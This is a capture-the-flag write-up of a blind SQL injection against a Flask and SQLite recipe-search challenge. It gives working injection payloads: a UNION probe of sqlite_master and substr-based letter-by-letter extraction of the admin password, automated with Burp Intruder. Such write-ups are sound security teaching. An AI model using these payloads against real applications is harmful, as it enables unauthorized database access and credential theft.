Cooking Flask: A Blind SQL Injection Attack

Problem

Challenge Description

So the important peices here are that the app is using Flask, there is a database, an admin user, their password has the flag, and a little hint at the end “burp. Sweet,” we know we’ll be using Burpsuite.

First Look Looking at the front end we have a recipe search with 3 types of input. When we click search the 3 parameters are in the URL.

GET /search?recipe_name=&description=&tags= HTTP/2

Solution

Initial SQL injection

First we’ll check each parameter for any strange behaviour.

Adding a single quote ' into the tags parameter nets us with this error. First Look

So we now know that this app is using Sqlite3 along with what we already knew Flask. We also now know that tags is not sanitised.

It is expecting a closing bracket so lets add that and do a basic SQL Injection to get all recipies as a test.

') OR 1=1--

SQL All Recipes

So that worked but there’s nothing particularly useful in here.

Let’s now switch over to burpsuite and use the repeater so we can more easily craft and send requests.

Getting Table Names

wanted to try get all the tables to see where i need to get the password name FROM my_db.sqlite_master WHERE type='table' %27)%20OR%201%3D1%20UNION%20ALL%20SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27–

sqlite3.OperationalError: SELECTs to the left and right of UNION ALL do not have the same number of result columns

makes sense, shouldve seen that coming

slowly add NULL paramerters until there’s no error

https://cooking.chal.cyberjousting.com/search?recipe_name=&description=&tags=%27)%20OR%201%3D1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,name%20FROM%20sqlite_master%20WHERE%20type=%27table%27--

aka

OR 1=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,name FROM sqlite_master WHERE type=‘table’–

after 8 total parameters the error changes TypeError: the JSON object must be str, bytes or bytearray, not NoneType

‘) OR 1%3D1 UNION ALL SELECT NULL,NULL,NULL,NULL,NxULL,NULL,NULL,name FROM sqlite_master WHERE type=‘table’–

https://cooking.chal.cyberjousting.com/search?recipe_name=&description=&tags=%27)%20OR%201%3D1%20UNION%20ALL%20SELECT%20name,%27x%27,%27x%27,%27x%27,%27x%27,%27x%27,%27x%27,%27x%27%20FROM%20sqlite_master%20WHERE%20type=%27table%27--

oh yay another new error

json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

after trying to solve this, i backtracked a bit to go down another path

using https://portswigger.net/web-security/sql-injection/cheat-sheet I crafted: ’ OR substr((SELECT name FROM sqlite_master WHERE type=‘table’ LIMIT 1 OFFSET 0), 1, 1) = ‘u’–

allowing me to letter by letter get the table name where the users are stored. my assumtion was right that it would be called something along the lines of users or members.

each time i send these I will get all the recipies returned to me only when the eltter is correct.

' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 1, 1) = 'u'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 2, 1) = 's'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 3, 1) = 'e'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 4, 1) = 'r'--

good so far…

’ OR substr((SELECT name FROM sqlite_master WHERE type=‘table’ LIMIT 1 OFFSET 0), 5, 1) = ’s’–

No Results

huh i though it would be users but this confirms theres no s. Just to make sure thats the end we can check the 5th place for nothing and sure enough.

’ OR substr((SELECT name FROM sqlite_master WHERE type=‘table’ LIMIT 1 OFFSET 0), 5, 1) = ‘’– SQL All Recipes

now we can look in the correct table.

the flag format is byuctf{flag} so I started with: ‘) OR substr((SELECT password FROM user LIMIT 1 OFFSET 0), 1, 1) LIKE ‘b’–

and worked forward. This was going to take a looong time…

using the burp suite inbtruder. i placed my §§ where i wanted the letter to chnage and made a simple payload list with a-z, 0-9, \_, -, and }
GET /search?recipe_name=omlet&description=egg&tags=’)+OR+substr((SELECT+password+FROM+user+LIMIT+1+OFFSET+0),+46,+1)+LIKE+’§§’+ESCAPE+’'– HTTP/2

Payload Character List we use the ESCAPE to allow for underscores as without the escape it would be read as a wildcard, matching anything.

what would have been most optimal is using 2 payloads however that is only available to pro users. I could have also made my own script but only in hindsight does that seem worth my time.

setting off the attack, each request is send and the responeses are all the smae size until the correct letter. then we stop, inrement the number to move to the next place and repeat. this was done a total of FIFTY ONE TIMES!

Letter Found (Burpsuite)

and we end up with

byuctf{pl34s3_p4r4m3t3r1z3_y0ur_1nputs_4nd_h4sh_p4ssw0rds}

both very true.

Im not if there was a more elegant way of solving this problem with out bild letter guessing, but hey my way worked so I can’t complain. Now i have some more blind SQL experience under my belt for the future.

Solved

Thanks for reading!

More from this CTF: BYUCTF Willy Wonka Web